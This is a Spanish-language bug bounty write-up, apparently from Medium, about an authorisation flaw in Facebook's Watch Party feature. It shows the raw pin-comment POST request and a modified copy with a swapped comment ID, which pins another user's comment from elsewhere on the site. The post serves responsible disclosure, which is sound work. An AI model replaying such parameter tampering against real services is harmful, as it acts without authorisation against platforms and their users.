Pin any comment on Watch Party that you manage affecting Fanpages, Groups, etc. (Write-Up in Spanish)

Samuel
Samuel
Nov 4 · 4 min read

Sorry this write up is in Spanish…

Después de un tiempo haciendo Bug Bounty, he decido probar suerte en Facebook y bueno, la verdad es que es un target bien amplio y complejo a la vez, lo cual te hace pensar en distintos problemas que pudiese tener.

Uno de los fallos de seguridad que más me gustan son los relacionados a la lógica del negocio, esto es por que sabemos que herramientas automatizadas no tienen la capacidad de detectarlas y la detección depende de la creatividad de la persona.

En esta oportunidad me gustaría hablarles sobre una vulnerabilidad que encontré en www.facebook.com específicamente en un módulo el cual permite realizar una transmisión de un video en grupo, este tipo de transmisiones pueden ser realizadas en Grupos, Fanpages, entre otros servicios de Facebook.

Para esta prueba de concepto, he realizado todo el flujo en un grupo.

Cuando un usuario procede a realizar un comentario en un grupo.

Opción de Video en Grupo

Es posible observar que existe la opción para transmitir un video dentro de un grupo.

Para esta prueba de concepto utilicé 3usuarios.

  • Usuario1: Usuario creador de un video en grupo.
  • Usuario 2: Un usuario que comente el video en grupo.
  • Usuario 3: Un usuario que realice un comentario en cualquier parte.

Ahora, el primer usuario crea un nuevo video en grupo. Posteriormente, el segundo usuario realiza un comentario en esa publicación.

El usuario administrador de este video en grupo tiene diversas facultades, entre ellas, poder seleccionar un comentario y dejarlo fijo en la esquina superior de la publicación (como un comentario destacado).

Al hacer click en el botón para fijar el comentario se genera el siguiente request:

Request Generado

POST /videos/pinnedcomments/ HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com/watchparty/1212607045793422/
C
ontent-Type: application/x-www-form-urlencoded
Content-Length: 756
Connection: close
Cookie: cookies

feedback_id=117544539633200&comment_fbid=142542133574211&__user=user?id&__a=1&__dyn=dny_encryption&__req=3v&__be=1&__pc=PHASED%3ADEFAULT&dpr=2&__rev=user_id&__s=%3A5neujl%3Aj61t7c&__hsi=6737495960657190928-0&fb_dtsg=RTOSOAD_9R%3AAQFdcj_mCbdR&jazoest=22075&__spin_r=1001181947&__spin_b=trunk&__spin_t=1568695507

Este request me llamó bastante la atención.

Luego, el tercer usuario realiza un comentario en algún Fanpage, Grupo, Evento, etc en donde sea que el usuario atacante (administrador del video en grupo creado anteriormente) pueda obtener el identificador de ese comentario (imagino que ya saben hacia donde apunta el problema).

Comentario realizado por la víctima

El atacante elige a su víctima y obtiene el identificador del comentario, el cual es 173614648900381.

Entonces, ahora el usuario atacante procede a fijar un comentario y modifica el identificador por el identificador del usuario víctima.

Request Modificado

POST /videos/pinnedcomments/ HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com/watchparty/1212607045793422/
C
ontent-Type: application/x-www-form-urlencoded
Content-Length: 756
Connection: close
Cookie: cookies
feedback_id=117544539633200&comment_fbid=173614648900381&__user=user_id&__a=1&__dyn=dny_encryption&__req=3v&__be=1&__pc=PHASED%3ADEFAULT&dpr=2&__rev=user_id&__s=%3A5neujl%3Aj61t7c&__hsi=6737495960657190928-0&fb_dtsg=RTOSOAD_9R%3AAQFdcj_mCbdR&jazoest=22075&__spin_r=1001181947&__spin_b=trunk&__spin_t=1568695507

Finalmente como resultado se obtiene:

Fijación de otro comentario en Video en Grupo

Que es posible fijar un comentario (que no ha sido realizado en el Video en Grupo) en el Video en Grupo administrado por el atacante. De esta manera un atacante podría extraer comentarios realizados por cualquier persona en cualquier publicación y así fijarlos en su publicación.

Después de una evaluación de algunos días obtuve una recompensa de 4 dígitos.

Y obviamente el reconocimiento en el muro de Facebook.

https://www.facebook.com/whitehat/thanks/

Gracias

@saamux

Samuel

Written by

Samuel

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade